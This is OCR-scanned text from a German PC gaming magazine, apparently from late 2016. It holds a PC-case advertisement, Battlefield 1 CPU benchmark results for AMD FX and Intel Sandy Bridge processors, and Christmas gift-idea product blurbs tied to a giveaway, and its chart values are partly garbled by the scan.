Unzählige Möglichkeiten einen PC zu konfigurieren und eine Gehäuse-Serie, die all das 
möglich macht: Dark Base 900. Maximale Flexibilität für deine individuellen Anforderungen 
und - typisch be quiet! - einer der leisesten Tower der Welt! 


= Mainboard-Tray und HDD-Tray mit erweiterten Einbaumöglichkeiten 

= Drei nahezu unhörbar leise be quiet! SilentWings® 3 PWM Lüfter 

a Intelligente Luftstromführung mit geräuschreduzierenden Auslássen 

a Vier Bereiche für Wasserkühlungsradiatoren bis zu 420mm 

= Dark Base Pro 900 mit LED-Beleuchtung, Seitenfenster aus getöntem Temperglas und 
kabelloser Ladestation für Qi-fähige Endgeräte 


Für mehr Informationen besuchen Sie bequiet.com. 


Erhältlich bei: alternate.de - arlt.de - atelco.de - bora-computer.de - caseking.de 
Conrad de - cyberport.de · e-tec.at - galaxus.ch - mindfactory.de - reichelt.de - snogard.de 
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E CPU @ 2,0 GHz; R9 Fury X 


‚0 GHz, 32 GiByte DDR4-3000, Geforce 375.95 WHQL, Radeon Software 16.11.4 Hotfix; Windows 10 x64 Bemerkungen: Frameraten min! 
avg.: CPU @ 4,0 GHz, GTX 1080 — 88/107,4; CPU 2,0 GHz, GTX 1080 — 76/96,8; CPU 4,0 GHz, Fury X — 51/69,3; CPU @ 2,0 GHz, R9 Fury X — 53/67,2 
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AMD-FX-CPUs: FX-8350 deutlich überlegen 


Die Karte „Wald der Argonnen“ ist trotz dichtem Bewuchs weniger performance- 
kritisch. Zudem erzielen wir hier mit die besten DX12-Ergebnisse. 


ie sehr Battlefield 1 von Acht- 

kernern (oder zumindest 
Viermodulern) profitieren kann, 
demonstrieren eindrücklich der 
FX-6350 sowie der FX-8350. Letz- 
terer liefert eine im Vergleich sehr 
überzeugende Performance und 
kann tatsächlich einem Intel Core 
15-2500K gefährlich nahe kommen. 
Betrachten wir die längerfristi- 
gen 10-Minuten-Messungen auf 
„Amiens“, liefert AMDs günstiger 
Viermoduler gar ein besseres, weil 
stabileres Performancebild als die 


versammelte Sandy-Bridge-Reihe, 


BF1: 10 Minuten mit den AMD-FX-Prozessoren 


Frameverlauf Amiens" Conquest 64/64 - 10 Minuten Multiplayer-Gameplay 


Bilder pro Sekunde (Fps) 


E FX 8350 @ 4,0 GHz; GTX 1080 ОС II FX 6350 @ 3,9 GHz; GTX 1080 OC 


E FX 8350 @ 4,0 GHz; R9 Fury X W FX 6350 @ 3,9 GHz; R9 Fury X 


100 200 300 
Zeit in Sekunden 


System: AMD FX-8350 @ 4,0 GHz (Std.); AMD FX-6350 @ 3,9 GHz (Std.); 16 GiByte DDR3-1866; Geforce 375.95 WHQL, Radeon Software 16.11.3 Hotfix; Win 10 x64 
Bemerkungen: Frameraten min./avg.: FX-8350, GTX 1080 — 57/82,9; FX-6350, GTX 1080 — 29/63,5; FX-8350, R9 Fury X — 49/69,3; FX-6350, R9 Fury X — 40/62,9 


nicht einmal der über acht logische 
Threads verfügende Intel Core i7- 
2600K kann hier mithalten - wo- 
bei wir an dieser Stelle nochmals 
darauf hinweisen müssen, dass sich 
die langen Messreihen nicht 1:1 
reproduzieren lassen. Es hat aller- 
dings den starken Anschein, dass 
der viermodulige AMD-FX-Prozes- 
sor eine deutlich ausgeglichenere 
Performance als ein Intel Vierker- 
ner zu bieten imstande ist - selbst 
wenn letzterer auf Hyperthreading 
zurückgreifen kann. 


Das Abschneiden des FX-6350 in- 
des lässt stark zu wünschen übrig, 
bei unseren Messungen brach die 
Leistung teils unter 30 Fps ein, das 
ist bei einem 60-Fps-Shooter indis- 
kutabel. Tatsächlich ist flüssiges 
Spielen mit dem in den minimalen 
Systemanforderungen gelisteten 
FX-6350 kaum möglich, wobei an 
dieser Stelle noch ein wenig Hoff- 
nung auf bessere Leistung durch 
Overclocking bleibt. Die Unter- 
schiede sind bei den anliegenden 
Taktraten (FX-8350: 4,0 GHz; FX- 
6350: 3,9 GHz) aber so gravierend, 
dass wir kaum davon ausgehen 
würden, dass sich die Einbrüche 
des Dreimodulers durch 
Übertaktung abfedern ließen. Hier 
helfen wahrscheinlich nur mehr 
Threads - AMDs Zen-CPUs können 
kaum früh genug erscheinen. 


eine 


Benchmarks im CPU-Limit (FX-6350 @ 3,9 GHz) 


Benchmarks im CPU-Limit (FX-8350 @ 4,0 GHz) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 86,1 (+13%) 
Amiens 76,4 (Basis) 
Rand des Reichs ärt 34,1 (-55%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen С 79,1 (+24%) 
Amiens ER 63,9 (Basis) 
Rand des Reichs SSRIRII@ƏIIIXGKGOHIMGOIIIIWUSIW 36,6 (-43%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen Bl 86,5 (+11%) 
Amiens 78 (Basis) 
Rand des Reichs ШЗ 38,3 (-51%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen Ba 93,2 (+20%) 
Amiens ВС 77 7 (Basis) 
Rand des Reichs Eque 38,8 (-50%) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen FE 97,8 (+15%) 
Amiens mw“ 85.2 (Basis) 
Rand des Reichs SSIIZIÉIX€GG`X€TFEçIšŠççWBr, 7, (-51%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflösung 
Wald der Argonnen 98,1 (+10%) 
Amiens Es 88,9 (Basis) 
Rand des Reichs ES 43,2 (-51%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen ВВ 8 96 (+ 1796) 
Amiens SSE 81,8 (Basis) 
Rand des Reichs EB 43 (-47%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen = =——sYn S ti 105,5 (41396) 
Amiens ERE ШШ 93, 1 (Basis) 
Rand des Reichs EB 43,1 (-54%) 


System: AMD FX-6350 @ 3,9 GHz (Standard); 16 GiByte DDR3-1866; Geforce 375.95 
WHQL, RSC 16.11.3 Hotfix; Windows 10 x64 Bemerkungen: Der AMD-Dreimoduler hat 
im CPU-Limit stark zu kämpfen, vor allem am „Am Rand des Reiches". 


Mimil 2 Fps 


» Besser 


System: AMD FX-8350 @ 4,0 GHz (Standard); 16 GiByte DDR3-1866; Geforce 375.95 
WHQL, RSC 16.11.3 Hotfix; Windows 10 x64 Bemerkungen: Der FX-8350 indes liefert 
eine den Intel-Vierkernern beinahe ebenbürtige Leistung — Respekt. 


Mimil 2 Fps 
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MP-Benchmarks Battlefield 1 | SPIELE & SOFTWARE 


Spieler-Mainstream: Intel Vierkern-Prozessoren 


ie meisten PC-Spieler setzen 
D: Intel-Prozessoren. Von 
diesen wiederum sind insbeson- 
dere die i5-CPUs weit verbreitet, 
die gegenüber den i7-Prozessoren 
nicht über Hyperthreading und 
somit nur über vier Threads verfü- 
gen. Stellvertretend für diese haben 
wir zwei bereits etwas ältere CPUs 
gewählt. Sowohl der Core i5-2500K 
als auch dessen größerer Bruder 
i7-2600K waren und sind noch im- 
mer beliebte Spieler-CPUs. Auch 
heute noch liefern beide Vertreter 
der Sandy-Bridge-Generation aus- 
reichend Leistung, insbesondere 
wenn ihre ausgesprochen gute 
Übertaktbarkeit genutzt wird. 


Sehr viele Performance-Beschwer- 
den stammen indes von Battlefield- 
Spielern, die eine Intel-Vierkern-, 
und insbesondere i5-CPU nutzen. 
Dabei konnten wir bei unseren 
Messungen zwar recht deutliche 
Unterschiede feststellen, doch be- 
wegen sich diese noch im Rahmen 
- sprich: Die Leistung des i5-2500K 
ist gegenüber dem i7-2600K nicht 
auffallend schlecht. Wohl aber ha- 
ben beide CPUs während unserer 
Langzeitmessung Schwierigkeiten, 
die Bildraten nicht unterhalb die 
60-Fps-Grenze absacken zu lassen. 
Abstrahieren wir diese Erkenntnis 
ein wenig und platzieren unsere 
Langzeitmessung gedanklich auf 


die Karte „Am Rande des Reiches“ 
können wir die Beschwerden nach- 
vollziehen: In diesem Szenario dürf- 
ten die Bildraten schlimmstenfalls 
auf kaum mehr als 30 Fps absacken. 
Im Sinne der großen Mehrheit der 
Spieler, die auf diese Art Prozessor 
setzt, sollte Dice noch etwas Opti- 
mierungsarbeit leisten. Die hohe 
CPU-Last insbesondere auf „Am 
Rande des Reiches“ muss angegan- 
gen werden, die stark absackende 
Performance bei chaotischen Ge- 
fechten ist ebenfalls verbesserungs- 
würdig. (pr) 


Kaum zu benchen ist das unvorhersehbare Verhalten menschlicher Mitstreiter. Mit 
den Langzeitmessungen können Sie die Auswirkungen aber zumindest abschätzen. 


BF1: 10 Minuten mit Intels Vierkernern der Sandy-Bridge-Garde 
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Bilder pro Sekunde (Fps) 


30 E i7-2600K; GTX 1080 ОС 
ш i5-2500K; GTX 1080 OC 
E i7-2600K; R9 Fury X 
10 E i5-2500K; R9 Fury X 


Frameverlauf Amiens" Conquest 64/64 - 10 Minuten Multiplayer-Gameplay 
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Zeit in Sekunden 


Bemerkungen: Frameraten min./avg.: i7-2600K, G 


System: Core i7-2600K @ 3,8 GHz (max. Turbo); Core i5-2500K @ 3,7 (max. Turbo), 16 GiByte DDR3-1600 MHz; Gef. 375.95 WHQL, Radeon 16.11.3 Hotfix; Win 10 x64 


X 1080 — 49/90,7; 15-2500К, GTX 1080 — 48/79,3; i7-2600K, R9 Fury X — 55/67,9; i5-2500K, R9 Fury X — 50/66,9 


Benchmarks im CPU-Limit (15-2500К © Standard) 


Benchmarks im CPU-Limit (i7-2600K @ Standard) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen [Ed 109,9 (-1996) 
Amiens FE 92 (Basis) 
Rand des Reichs PREISSII 44,4 (-52%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen СО E 98,3 (+16%) 
Amiens ERES 84, (Basis) 
Rand des Reichs EEE 45,2 (-46%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen [Egi 96,2 (+18%) 
Amiens 81,5 (Basis) 
Rand des Reichs EC SRIIƏÓIOIGISƏ 41,8 (-49%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen ВТО 111,6 (+17%) 
Amiens KKEWSSSPESSSSSIISESI 95,5 (Basis) 
Rand des Reichs Eq 49 (-49%) 


GTX 1080, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen EXER 123 (41296) 
Amiens EZ 110,2 (Basis) 
Rand des Reichs EX 47,7 (-57%) 
GTX 1080, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen ТОЗ 88 111,8 (412%) 
Amiens mwa A ШЕШ 99,8 (Basis) 
Rand des Reichs Es; 48,8 (-51%) 
R9 Fury X, DX11, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen Eggs 105,4 (4-1096) 
Amiens X98 95,9 (Basis) 
Rand des Reichs ERI 51,3 (-47%) 
R9 Fury X, DX12, 720p Ultra-Details, 25 % Auflósung 
Wald der Argonnen ВЕСОВ 134,7 (615%) 
Amiens FE 117,6 (Basis) 
Rand des Reichs Eug 51,6 (-56%) 


System: Core i5-2500K @ 3,7 (max. Turbo), 16 GiByte DDR3-1600; Gef. 375.95 WHQL, 
RSC 16.11.3 Hotfix; Windows 10 x64 Bemerkungen: Der i5-2500K ist zwar relativ 
deutlich langsamer als der i7, jedoch fällt er nicht auffällig hinter ihn zurück. 


Mimil 2 Fps 


» Besser 


System: Core i7-2600K @ 3,8 GHz (max. Turbo), 16 GiB DDR3-1600; Gef. 375.95 WHQL, 
RSC 16.11.3 Hotfix; Windows 10 x64 Bemerkungen: Hyperthreading und etwas mehr 
Takt erlauben dem i7-2600K einen Vorsprung von rund 20 Prozent gegenüber dem i5. 


Mimil 2 Fps 


» Besser 
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Die besten Weihnachtsgeschenke 


Heiße Weihnacht 


Die PCGH-Redaktion 
wünscht mit 60 Geschenk- 


ideen ein frohes Fest und 
eine angenehme Adventszeit. 
Glückspilze konnen mit uns 
sogar die perfekten 
Präsente für 
Technik-Fans 
gewinnen. 


o! Ho! Ho! Die besinnlichste Zeit 
H des Jahres hat unlängst begonnen. 

Und wir zerbrechen uns alle aufs 
Neue den Kopf, was wir unseren Liebsten 
schenken könnten. Da weiß die PCGH zu 
helfen: Auf den folgenden Seiten finden 
Sie Technik-Geschenktipps aller Art. Dazu 
gehören unter anderem Gaming-Hardware 
und -Software, Spiele, Filme, Heimkino- 
Zubehör und spaßige Gadgets. Für jedes 
Budget und für jede Vorliebe finden Sie auf 
den kommenden Seiten das richtige Prä- 
sent. Das Besondere: Sie können diese 
und weitere Produkte dank unseres gro- 
ßen Online-Gewinnspiels zu sich nach 
Hause unter den Weihnachtsbaum holen! 
Besuchen Sie dazu unsere Internetseite 
www.pcgameshardware.de und halten Sie 
die Augen nach den hier abgebildeten 
Produkten offen. Wenn Sie eines finden, 
genügt ein Klick darauf und Sie gelangen 
zur Gewinnspielseite mit den Teilnahme- 
bedingungen. Die große Advents- 
Schnitzeljagd beginnt in diesem Jahr am 
30.11.2016 und endet am 24.12.2016. Wir 
wünschen unseren Lesern viel SpaB beim 
Stóbern in den Geschenktipps, viel Erfolg 
beim Gewinnspiel und natürlich frohe 
Weihnachten! 


MSI Aegis X 


WEB: www.msi-gaming.de/ichwillmsi PREIS (UVP): € 2.199 


Die Aegis Gaming-PCs von MSI sind starke Kampfmaschinen im 
atemberaubenden und kompakten Look. Das raffinierte Gehäuse- 
und Kühlkonzept und die hochwertigen und schnellen MSI-Kompo- 
nenten machen die MSI-Rechner zu einer mächtigen Waffe für echte 
Gaming-Champions. Der Aegis X setzt vor allem auf ein starkes MSI- 
Z170-Mainboard mit Military-Class-5-Komponenten und einen 
schnellen Intel-Core-i7-Prozessor der K-Reihe mit freiem Multiplika- 
tor für beste Overclocking-Ergebnisse. Für höchste Grafikleistung 
sorgt die beliebte GeForce-GTX-1070-GAMING-8G-Grafikkarte von 
MSI. Zusammen mit schneller PCI-Express-SSD-Technik ist der 
Aegis X für alle aktuellen und kommenden Games perfekt gerüstet. 
Die exklusive Silent-Storm-2-Pro-Kühlung sorgt trotz der hohen Per- 
formance für ausgesprochen niedrige Temperaturen — und arbeitet 
gleichzeitig besonders leise, auch bei langen Gaming-Sessions und 
starker Beanspruchung. In separaten Kühlbereichen wird die Wärme 
der unterschiedlichen Komponenten über getrennte Luftwege enorm 
effizient abgeleitet. Die starke Hardware macht den Aegis X auch zur 
perfekten Plattform für die aktuellen VR-Systeme. Passend findet 
sich eine HDMI-Buchse direkt an der Front des PCs, die den 
Anschluss einer VR-Brille besonders einfach und bequem macht. So 
wird ebenfalls ein Kabel-Wirrwarr vermieden. Ebenso praktisch: Das 
MSl-Drachen-Logo an der Towerfront dient als Taste zur Aktivierung 


GSX 1000 
von Sennheiser 


WEB: www.sennheiser.com PREIS: € 229 


Das GSX 1000 von Sennheiser enthüllt eine völlig neue Dimension 
der Audio-Performance im Gaming. Der Audioverstärker im hoch- 
modernen Style fährt mit einem zukunftsweisenden 7.1-Virtual- 
Sound-Algorithmus auf, der speziell für Zocker entwickelt wurde 
und einen außergewöhnlich immersiven Surround-Klang bietet. 
Die professionelle Verarbeitung spiegelt den klaren Fokus auf die 
hohen Anforderungen von Profi-Gamern wider. Spontane Einstel- 
lungsänderungen während des Spiels ermöglichen dem Spieler 
eine präzise Raumwahrnehmung. Die Audiosignale für Spiel und 
Kommunikation können präzise und getrennt voneinander kon- 
trolliert werden und auch das Umschalten zwischen Headset und 
Lautsprecher ist mit einer einfachen Berührung möglich, ohne 
dass das Spiel unterbrochen werden muss. Das Herzstück jedes 
Gaming-Sounds ist kompatibel mit PC und Mac. 


Die besten Weihnachtsgeschenke 


der OC-Engine. Wie von der Aegis-Serie gewohnt, làsst sich auch 
der Aegis X einfach öffnen und die Komponenten zum Aufrüsten 
bequem erreichen. Mit der Mystic Light LED-Gehäusebeleuchtung 
erhält der Aegis X außerdem seinen eigenen, ganz individuellen 
Look. Damit ist der Aegis X ein performanter Begleiter für Hardcore- 
Gamer und VR-Enthusiasten. 


Yuneec Breeze 


WEB: www.yuneec.com PREIS (UVP): € 499 


Mit der fliegenden Kamera Breeze kann jeder hochwertige Foto- 
und Videoaufnahmen aus der Luft anfertigen. Für perfekte Auf- 
nahmen sorgen eine vertikal schwenkbare 4K-UHD-Kamera mit 
High-Class Ambarella Chipsatz und zahlreiche automatische 
Flugmodi (Selfie, Follow Me, Orbit, Journey, Return Home). Mit 
einem Durchmesser von nur 24 Zentimeter und einem Gewicht 
von gerade mal 385 Gramm passt die Breeze in jede Tasche. 
Dank GPS und IPS (Indoor Positioning System) liegt die Breeze 
sowohl drinnen als auch draußen stabil in der Luft. Gesteuert 
wird die fliegende Kamera ganz intuitiv per Smartphone und 
dank der praktischen Social-Media-Anbindung lassen sich die 
schönsten Aufnahmen auch direkt aus der Breeze-Cam-App in 
zahlreiche soziale Medien hochladen. 
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TUXEDO /nfinityBox 


WEB: www.tuxedocomputers.com PREIS (UVP): € 800 


Die TUXEDO InfinityBox ist ein Mini-Computer mit nahezu endlosen Einsatzmóglichkeiten! 
Dank seines Vollaluminium-Gehäuses und der kompakten Abmessungen von ca. 20 x 22 
Zentimetern legt er ein besonders edles Erscheinungsbild an den Tag, benótigt sowohl 
stehend als auch liegend äußerst wenig Platz und ist obendrein noch besonders robust 
gebaut. So passt er perfekt in jedes Büro, macht aber auch gut sichtbar im Wohnraum 
eine schlichte und gleichzeitig elegante Figur. Dafür sorgen ein einfacher Knopf an 

der Front, das Herstellerlogo dezent auf der Oberseite sowie jeweils ein USB- 
3.0-Anschluss an den Seiten. Aber auch ihre inneren Werte machen die 

InfinityBox zum perfekten Allrounder: Eine Top-Ausstattung bis hin zu / 
Intel-Core-i7-Quad-Core, 32 Gigabyte Arbeitsspeicher, Dual-AC- 


Wifi, zwei SATA-Ports für SSDs oder HDDs, ein M.2 PCle Port 
für NVME-SSDs, HDMI, DisplayPort und vieles mehr lassen 
keine Wünsche offen. Rückseitig finden sich nochmals sechs 
USB-3.0- sowie zwei USB-2.0-Anschlüsse, zweimal Gigabit- 
LAN, jeweils ein DVI-D, HDMI und DisplayPort. AuBerdem 
noch die obligatorischen HD-Audio-Anschlüsse sowie ein 
PS/2 Maus/Tastatur-Combo-Port. Durch diese äußerst vielfäl- 
tige Auswahl an Anschlüssen bleiben im Office- und Multime- 
dia-Einsatz keine Wünsche offen! TUXEDO verlost unter allen 
Teilnehmern eine InfinityBox im Wert von 800 Euro mit 16 
Gigabyte Arbeitsspeicher, 250-Gigabyte-SSD sowie einer 
500-Gigabyte-HDD, WLAN und Intel-Core-i5-Prozessor! 


PC 373D von Sennheiser 


WEB: www.sennheiser.com PREIS (UVP): € 249 


Für leidenschaftliche Zocker gibt es jetzt eine unglaublich 
intensive 7.1-Dolby-Surround-Sound-Erfahrung. Das neue 
PC 373D ist ein hochwertiges Gaming-Headset mit offener 
Akustik und kristallklarer Team-Kommunikation beim Spielen. 
Das hochqualitative Noise-Cancelling-Mikrofon filtert stóren- 
de Hintergrundgeräusche einfach raus. Der Surround-Dongle 
und die übersichtliche PC-Software sorgen für eine optimale 
Immersive-Gaming-Erfahrung und hoch- 

wertige Musikwiedergabe, die mit 
diversen Equalizern individuell 
angepasst werden kann. So dient 
der PC 373D nicht nur zum 
Zocken, sondern entfaltet auch 
beim Musikhóren einen wunder- 
baren Klang. Die überlegenen 
Funktionen zeigen sich aber 
auch im modernen Design und 
Tragekomfort des Headsets. 

Die groBen gepolsterten Hór- 

muscheln drücken selbst bei 

stundenlangen Gaming- 
Sessions nicht auf die 


CA | | 


Devolo Home Control Starter Kit 


WEB: www.devolo.de PREIS (UVP): € 220 


Die Home Control Zentrale bildet das Herzstück Ihres intelli- 
genten Zuhauses. Sie sorgt dafür, dass alle Bausteine Ihres 
Smart Homes reibungslos miteinander arbeiten. Die Installation 
ist in nur wenigen Minuten erledigt: auspacken, einstecken und 
die Vorteile Ihrer smarten Haussteuerung genießen. Der Home 
Control Tür- und Fensterkontakt registriert zuverlässig offene 
Türen, Fenster oder Schubladen. Die Sirene schlägt dann 
Alarm, wenn etwas nicht stimmt. Im Paket befindet sich eben- 
falls die Home Control Schalt- und Messsteckdose. Mit ihr 
schaltet Ihr Smart Home automatisch das 
Licht, sagt Bescheid, wenn der Trockner fer- 
tig ist, oder aktiviert morgens die Kaffeema- 
schine, während Sie noch schlafen. Mit dem 
Devolo Home Control bringen Sie mehr Kom- 
fort und Sicherheit in Ihr Zuhause! 
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WEB: www.cyberport.de/drobo PREIS: € 599 


Drobo® ist bei Multimedia-Begeisterten und Nutzern datenintensi- 
ver Dateien als zuverlässiger Hersteller prämierter Datenspeicher 
bekannt. Sie stehen für eine gute Kombination aus günstigen und 
benutzerfreundlichen Datensicherungs- und Managementfunktio- 
nen. Inkompatibilität oder sonstige Fehler, die beim Einsatz mehre- 
rer Festplatten entstehen können, werden vermieden. Sie benötigen 
kein technisches Know-how und weniger Zeit, um die Bedienungs- 
anleitung zu lesen. So bleibt Ihnen mehr Zeit für Dinge, die Ihnen 
Freude bereiten. Die BeyondRAID-Technologie bietet alle Vorteile 
klassischer RAID-Systeme ohne deren Beschränkungen. Es können 
Laufwerke beliebiger Hersteller mit diversen Kapazitäten und 
Geschwindigkeiten genutzt werden. Speichervolumen können sim- 


WEB: www.heyne.de 
PREIS: € 19,99 


William Shatner ist Musiker, 
Regisseur und Produzent. 
Bekannt wurde er jedoch durch 
die Schauspielerei und seine 
Rolle als Captain Kirk in der 
Kultserie Raumschiff Enter- 
prise. Dass er und Leonard 
Nimoy, Darsteller des legendä- 


ren Mr. Spock, auch im realen Leben sehr gute Freunde pel durch Hinzufügen von 
waren, ist kein Geheimnis. Nach dessen Tod im Februar 2015 Laufwerken oder Ersetzen 
veröffentlichte William Shatner nun ein Buch über seinen kleinerer Platten während 
Kumpanen, dessen bewegendes Leben er noch einmal Revue des Betriebes erhöht wer- 
passieren lässt. Das im Heyne Verlag erschienene Werk den. Das Drobo 5N ist ideal 
beleuchtet die Kindheit der beiden Freunde, die ersten für vernetzte Umgebungen 
gemeinsamen Schritte in der Schauspielerei, ihre gemeinsa- im Heim- oder Kleinbüro. 
me Zeit am Set von Raumschiff Enterprise und der dazuge- Uberall, wo ein einfaches 
hörigen Filme und ihre Zuneigung zueinander. Am Ende zieht Gerät für Austausch und 
Shatner ein Resümee und erzählt, was er von seinem Freund Sicherung von Daten über 


gelernt hat. Eine Leseprobe finden Sie auf www.heyne.de. das Netzwerk benötigt wird. 
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Cherry NX BOARD 6.0 


WEB: www.cherry.de PREIS: € 189 


Das CHERRY MX BOARD 6.0 ist das Erste seiner Klasse: Ein 
mechanisches Keyboard wie ein Präzisionsinstrument für 
höchste Ansprüche. Kompromisslos schnell und akkurat dank 
CHERRY RealKey Technologie für vollständig analoge Signal- 
verarbeitung mit puristischem Design und erstklassiger Verar- 
beitungsqualität „Made in Germany“: Das Gehäuseoberteil aus 
Aluminium punktet durch sein edles Sanded-Finish und eine 
fettabweisende Beschichtung. Die gummierte Handballenaufla- 
ge hält bombenfest per Magnet-Verbindung. Dazu verfügt das 
Keyboard über 12 doppelt belegbare Funktionstasten und die 
rote LED-Hintergrundbeleuchtung ist dimmbar. Dank Full-N- 
Key-Rollover werden alle Tasten gleichzeitig ausgelesen und 
das 100-prozentige Anti-Ghosting verhindert Fehleingaben. Für 
Menschen, die vorangehen, statt zu folgen. 


Parallels 
Parallels 


Desktop for Мас 
Pro Edition 


WEB: www.parallels.com PREIS: € 99,99/Jahr 


i 
Parallels D 

' eskto 

" Pro Edition PY Mac 


Sie lieben Overwatch und würden den 
Shooter auch gerne auf Ihrem Mac 
zocken? Dank Parallels Desktop for 
Mac Pro Edition ist das kein Problem: 
In Zusammenarbeit mit Blizzard Enter- 
tainment wurde Parallels Desktop 12 
für die Unterstützung von Overwatch 
optimiert, sodass es problemos auch 
auf dem Mac gespielt werden kann. 
Parallels Desktop 12 unterstützt weiterhin auch die Windows 10 
Xbox-App, mit der Sie Xbox-Games auf Ihre Mac-Geráte streamen 
und dort spielen kónnen. Mit der Parallels Desktop for Mac Pro 
Edition können Sie außerdem ohne Neustart mit einem Klick zwi- 
schen mehreren virtuellen Rechnern hin und her wechseln, auf 
denen unterschiedliche Windows-, Linux- oder Mac-Versionen lau- 
fen. Power-User müssen dabei keine Kompromisse fürchten: Jede 
virtuelle Maschine greift auf bis zu 64GB vRAM und 16vCPUs 
zurück — mehr als genug Leistung selbst für anspruchsvolle Anwen- 
dungen. Testen Sie Parallels Desktop for Mac Pro Edition 14 Tage 
lang kostenlos oder gewinnen Sie eine von drei Jahreslizenzen! 


TechniSat 
AUDIOMASTER MR2 


WEB: www.technisat.de 
PREIS (UVP): € 299,99 


Immer klangstark und mit 
authentischem Sound: Der Wireless- 
Stereo-Speaker AUDIOMASTER MR2 ist Blue- 
tooth-Box, Internetradio und Streaming-Lautsprecher in 
einem. Mit kristallklarem, lebendigem und sattem Sound, ver- 
stárkt durch die deutsche Lautsprecherschmiede ELAC. In 
elegantem Design, an der Wand aufgehängt oder stehend 
platziert macht der AUDIOMASTER MR2 immer eine gute 
Figur. Dank der integrierten Internetradio-Funktion greifen Sie 
auf Tausende Internetradio-Sender zu, deren Angebot sich 
immer wieder aktualisiert und erweitert. Über UPnP-Audio- 
streaming haben Sie zudem Zugang auf freigegebene Musik- 
dateien aus dem Netzwerk, zum Beispiel auf die MP3-Dateien 
einer Netzwerkfestplatte oder eines PCs. Die MYDIGITRADIO 
PRO-App dient dabei zur Steuerung des AUDIOMASTER MR2. 
Darüber hinaus wurde die App für die Einrichtung und Steue- 
rung weiterer Multiroom-Audiosysteme optimiert. Nutzen Sie 
des Weiteren die Spotify-App auf Ihrem Smartphone, Tablet 
oder PC, um Ihre Lieblingskünstler und die aktuellsten Hits auf 
dem AUDIOMASTER MR2 abzuspielen. 


Ice Age 5- 
Kollision 
voraus! 


Dank 20th Century E 
Fox Home Entertain- 
ment kommt die chaoti- 
sche /ce Age-Truppe für ein fünftes 
Abenteuer zu lhnen ins Wohnzimmer. 
Wáhrend seiner endlosen Jagd nach der 
Nuss landet Scrat aufgrund einer Verkettung unglücklicher 
Zufälle im Weltall. Schon bald lässt der gierige Tollpatsch ei- 
nen Meteoritenschauer auf die Erde los, gefolgt von einem 
Asteroiden, dessen Einschlag katastrophale Folgen für des- 
sen Bewohner haben wird. Auf der Erde kämpfen Scrats 
Freunde derweil mit den Tücken des Alltags: Mammut Man- 
nis Tochter Peaches möchte heiraten. Der sonst so griesgrä- 
mige Sábelzahntiger Diego denkt mittlerweile an Nachwuchs 
und sogar Faultier Sid wünscht sich nichts sehnlicher, als 
seine Dame fürs Leben zu finden. Der bunte Animationsfilm 
sorgt für SpaB und garantiert Lacher bei GroB und Klein. 
Erháltlich ist der Animationsfilm auf DVD (€ 12,99), Blu-ray 
(€ 14,99) und 3D-Blu-ray (€ 19,99) sowie als UHD-Blu-ray 
(€ 29,99) und im Rahmen einer Collection Box (DVD € 29,99 
und Blu-ray € 39,99) mit allen bisher erschienenen Filmen. 


WEB: www.gamerstorm.com 
PREIS (UVP): € 250 


Damit leistungsstarke 
Gaming-Hardware ihr 
Maximum an Leistung abrufen kann, ist eine optimale Kühlung der 
Komponenten unabdingbar. Beim neuen Deepcool Genome Il 
Liquid Cooling Chassis muss man sich über diesen Punkt gar 
keine Gedanken machen: Der Hersteller verbaut nämlich direkt ab 
Werk eine CPU-Wasserkühlung - komplett mit drei 360-Millimeter- 
Radiatoren, beleuchteter Pumpenvorrichtung und einem stylishen 
Helix-Reservoir an der Vorderseite. Die Montage an den Prozessor 
erfolgt dabei kinderleicht und ohne umständliches Werkzeug. 
Natürlich kann man sein Setup mit drei Gehäusefarben (Schwarz- 
Rot, Schwarz-Grün und Weiß-Blau) dem eigenen Geschmack 
anpassen und dank eines großen Sichtfensters auch das Innenle- 
ben optimal in Szene setzen. Selbst für Oberklasse-Komponenten 
bleibt hier ausreichend Platz, die Grafikkarte kann auf Wunsch 
vertikal eingebaut werden und die Anschlusskabel lassen sich 
dank durchdacht platzierter Aussparungen unauffällig verlegen. 
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WEB: www.bladeandsoul.com PREIS (UVP): free2play 


Lassen Sie sich vom neuen MMORPG-Titel Blade & e? 
Soul in eine aufregende Fantasiewelt entführen. In £ 
einer nach dem Vorbild asiatischer Legenden gestal- 4 3 
teten Umgebung begibt sich der Spieler mit sei- (^ 
nem individuellen Charakter auf eine ereignis- 
volle Reise, die von rivalisierenden Fraktionen 
und dem Kampf alter Mächte geprägt ist. Für 
ein besonderes Spielerlebnis sorgt dabei die 
Kunst des Qing Gong, mit der die Figuren die 
Erdanziehungskraft überwinden und sich in | 
einer völlig neuen Art und Weise fortbewegen . ¿ eh, 
können. Verlost werden vier sogenannte Meister- » 
pakete, die als exklusive Gründer-Versionen nicht 2 
mehr frei erhältlich sind. Darin enthalten sind unter ande- $ + # 
rem 90 Tage Premium-Mitgliedschaft, fünf zusàtzliche ` 
Charakterplàtze sowie spezielle In-Game-Items. 
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2tainment Air Conflicts: Secret 
Wars Ultimate Edition -- Thrust- 
master .Flight Hotas 4 


WEB: www.2-tainment.com PREIS (UVP): € 39,99 (Air Conflicts: Secret Wars Ultimate 
Edition), € 79,99 (Thrustmaster T.Flight Hotas 4) 


Bei der actiongeladenen Flugsimulation Air Conflicts: Secret Wars 
kommen Hobby-Piloten voll auf ihre Kosten. An historischen 
Schauplátzen des Ersten und Zweiten Weltkrieges warten sieben 
Kampagnen mit insgesamt 49 Missionen darauf, gemeistert zu 
werden. In verschiedensten Auftrágen wie Escortflügen, Patrouillen 
